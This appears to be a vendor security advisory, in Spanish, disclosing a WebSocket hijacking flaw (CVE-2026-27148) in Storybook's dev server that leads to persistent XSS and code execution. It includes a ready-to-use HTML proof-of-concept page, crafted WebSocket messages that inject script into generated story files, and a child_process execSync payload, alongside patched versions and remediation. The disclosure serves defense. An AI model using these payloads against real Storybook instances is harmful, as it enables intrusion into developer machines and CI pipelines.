Aikido Attack, nuestro producto de pentesting con IA, encontró una vulnerabilidad de secuestro de WebSocket en el servidor de desarrollo de Storybook que puede conducir a XSS persistente y ejecución remota de código. Si pasa desapercibida, la carga útil podría acabar en el control de versiones, el pipeline de CI/CD y la compilación de producción de Storybook. El servidor WebSocket de Storybook no tiene autenticación ni control de acceso, por lo que si el servidor de desarrollo es accesible públicamente, un atacante puede explotar esto sin interacción del usuario. En la configuración local más común, un desarrollador tiene que visitar un sitio web malicioso mientras Storybook está en ejecución.
Aviso: GHSA-mjf5-7g4m-gx5w
CVE: CVE-2026-27148
CVSS: 8.9 (Alta)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
Versiones parcheadas: 7.6.23, 8.6.17, 9.1.19, 10.2.10
La vulnerabilidad
Storybook es un entorno de trabajo frontend de código abierto para construir y probar componentes de UI de forma aislada, fuera de su aplicación principal. Durante el desarrollo, Storybook ejecuta un servidor local que utiliza WebSockets para potenciar sus funciones de creación y edición de historias. En versiones anteriores, los desarrolladores necesitaban crear y editar componentes de historias en su editor preferido y ver el resultado en Storybook en el navegador. A partir de la versión 8.1, los desarrolladores pueden editar componentes directamente en el navegador a través de la interfaz de usuario de Storybook. Esta funcionalidad de creación y edición de historias es donde reside la vulnerabilidad.
El problema: el servidor WebSocket no tiene ningún control de acceso. No hay autenticación, ni validación de sesión, ni Origin comprobación de cabecera en las conexiones entrantes. Si el servidor de desarrollo es accesible, cualquiera puede conectarse y empezar a escribir archivos en el directorio de historias.
Esto crea dos escenarios de ataque distintos. Si el servidor de desarrollo de Storybook está expuesto públicamente, cualquier atacante no autenticado en internet puede conectarse directamente al endpoint de WebSocket y explotarlo sin interacción del usuario. Si el servidor de desarrollo se está ejecutando localmente, el atacante necesita que el desarrollador visite una página web maliciosa, que luego abre una conexión WebSocket de origen cruzado a ws://localhost:6006/storybook-server-channel en su nombre.
El endpoint de WebSocket en /storybook-server-channel acepta dos tipos de mensajes: createNewStoryfileRequest y saveStoryRequest. Ambos tipos escriben en el directorio src/stories del sistema de archivos.
El código vulnerable reside en dos manejadores de WebSocket:
create-new-story-channel.tsmanejacreateNewStoryfileRequestsave-story.tsmaneja saveStoryRequest
Ambos delegan en get-new-story-file.ts que deriva basenameWithoutExtension del componentFilePath proporcionado por el usuario y lo pasa sin sanear a typescript.ts, donde se interpola directamente en el código fuente generado.
Punto de inyección: get-new-story-file.ts
const base = basename(componentFilePath); //"Botón";alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const nombreBaseSinExtensión = base.replace(extensión, ''); // "Botón";alert(document.domain);var a='"Sumidero: typescript.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here Archivo escrito en disco:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};El ataque: del mensaje de WebSocket a la inyección de código
Para instancias expuestas públicamente, la explotación es trivial: conectarse al endpoint de WebSocket y enviar un mensaje. Esto puede ser totalmente automatizado y escalable para escanear instancias de desarrollo de Storybook expuestas en internet.
Para instancias locales, el ataque requiere un paso adicional: El desarrollador visita una página web maliciosa que abre silenciosamente una conexión WebSocket a localhost:6006 y envía un mensaje manipulado:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
El código inyectado componentFilePath escapa del contexto de cadena en el archivo de historia generado. Storybook escribe un nuevo .stories.ts archivo en el disco en el directorio src/stories con el JavaScript del atacante incrustado.
Archivos escritos en disco:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};El componentFilePath campo es el vector de inyección más directo, pero componentExportName fluye hacia las mismas posiciones de plantilla cuando componentIsDefaultExport es falso, incluyendo la propiedad `component:` y la expresión `typeof` en el bloque meta.
La PoC completa es solo una página HTML simple:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
Eso es todo. Visita la página, y el archivo de historia inyectado ahora reside en la máquina del desarrollador.

Escalada: De XSS a RCE
El impacto de esta vulnerabilidad se extiende más allá de los ataques transitorios basados en navegador debido a cómo Storybook se integra con los flujos de trabajo de desarrollo modernos.
La severidad escala en entornos donde las historias se utilizan para pruebas automatizadas. Muchos equipos utilizan "historias portátiles" para ejecutar pruebas dentro de entornos Node.js (por ejemplo, usando Vitest con JSDOM), en lugar de la instancia predeterminada de Chromium. En estas configuraciones no predeterminadas pero comunes, el JavaScript inyectado termina en un contexto de NodeJS y se ejecuta en el lado del servidor. Esto otorga a la carga útil los mismos privilegios que el ejecutor de pruebas, lo que podría permitir:
- Exfiltración de credenciales: Acceso a variables de entorno y secretos de CI/CD.
- Acceso al sistema: Acceso completo de lectura/escritura al sistema de archivos local y al código fuente.
- Pivoteo de red: La capacidad de alcanzar recursos de red internos desde el agente de compilación o la máquina del desarrollador comprometidos.
Mensaje de prueba de concepto de WebSocket:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
¿Cuándo? npx vitest se ejecuta, ya sea activado manualmente, por una extensión de VS Code al guardar un archivo, o en una pipeline de CI/CD, la salida muestra:
PRUEBA_RCE: uid=501(robbe) gid=20(staff) ...En ese punto, el atacante tiene ejecución de código en el entorno del desarrollador o en el pipeline de CI, con acceso a variables de entorno, credenciales, el sistema de archivos y la red.
El ángulo de la cadena de suministro
El principal factor de riesgo de esta vulnerabilidad es el modelo de persistencia. Debido a que el payload se escribe directamente en los archivos fuente del proyecto. Si pasa desapercibido, el payload puede ser confirmado en el control de versiones. Si eso ocurre, el exploit podría propagarse a través de varios vectores:
- Distribución Interna: Los miembros del equipo que extraigan la rama actualizada ejecutarán el payload inyectado localmente al ejecutar sus propias instancias de Storybook o suites de pruebas.
- Ejecución en el Pipeline de CI/CD: Los entornos de compilación y prueba automatizados, que a menudo se ejecutan con permisos elevados para acceder a secretos y claves de despliegue, pueden ejecutar el código malicioso durante la fase de pruebas.
- Exposición de la Documentación: Si la compilación de Storybook se publica como un sitio de documentación alojado, el payload XSS se vuelve persistente para cualquier interesado, diseñador o desarrollador que visualice los componentes.
Protecciones del navegador
Google Chrome está empezando a implementar solicitudes de permiso para las peticiones de websocket locales, como protección contra las conexiones WebSocket de origen cruzado a localhost (Ver https://chromestatus.com/feature/5197681148428288). Firefox no lo hace. Así que si su equipo tiene incluso un usuario de Firefox ejecutando Storybook, es un objetivo viable para el ataque de origen cruzado.
Para los servidores de desarrollo expuestos públicamente, nada de esto importa. El atacante se conecta directamente al endpoint de WebSocket sin pasar por un navegador. Sin comprobación de origen, sin CORS, sin protecciones del navegador en absoluto.
Remediación
Actualice Storybook a una de las versiones parcheadas: 7.6.23, 8.6.17, 9.1.19, o 10.2.10. La corrección añade validación de origen al servidor WebSocket. En versiones posteriores, Storybook también añadió saneamiento a los nombres de las historias para prevenir ataques de inyección.
Tenga en cuenta que, si bien la funcionalidad vulnerable se introdujo en la versión 8.1, los parches se retroportaron a la versión 7.x como medida de precaución.
Si sus repositorios son escaneados por Aikido, las versiones vulnerables de Storybook se marcarán automáticamente y aparecerán en su feed.
Cronología
- 6 de febrero de 2026: Identificado por Aikido Attack (agente de pentesting con IA)
- 6 de febrero de 2026: Revelado al equipo de seguridad de Storybook
- 25 de febrero de 2026: Parcheado en Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10
- 25 de febrero de 2026:GHSA-mjf5-7g4m-gx5w publicado

